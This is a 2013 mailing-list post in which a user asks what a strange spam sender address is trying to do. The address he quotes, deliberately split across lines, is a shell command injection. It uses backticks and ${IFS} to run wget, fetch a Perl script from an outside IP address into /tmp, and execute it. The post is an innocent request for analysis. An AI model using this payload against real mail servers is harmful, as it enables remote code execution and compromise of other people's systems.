[GLLUG] Can anyone tell me what this is trying to do?

John Winters john at sinodun.org.uk
Mon Nov 4 16:26:15 UTC 2013


Amongst the junk e-mails which I receive, I get the odd one with a really
weird sender name.  Like this:

I've split it over several lines at silly places.  I presume it is
harmless in the body of an e-mail, but just to be safe.


x`wg
et${IFS}-O${IFS}/tm
p/p.pl${IFS}117.239
.156.162/user.pl``perl${IFS}/t
mp/p.pl`@bla
at.com <x`wget${IFS}-O${I
FS}/tmp/p.pl${IFS}117.23
9.156.162/user.pl``p
erl${IFS}/tmp/p.pl`@blaat.com>

I've been googling, but can't discover what this is trying to do.  Is it a
current vulnerability in any common MTA?

Cheers,
John




More information about the GLLUG mailing list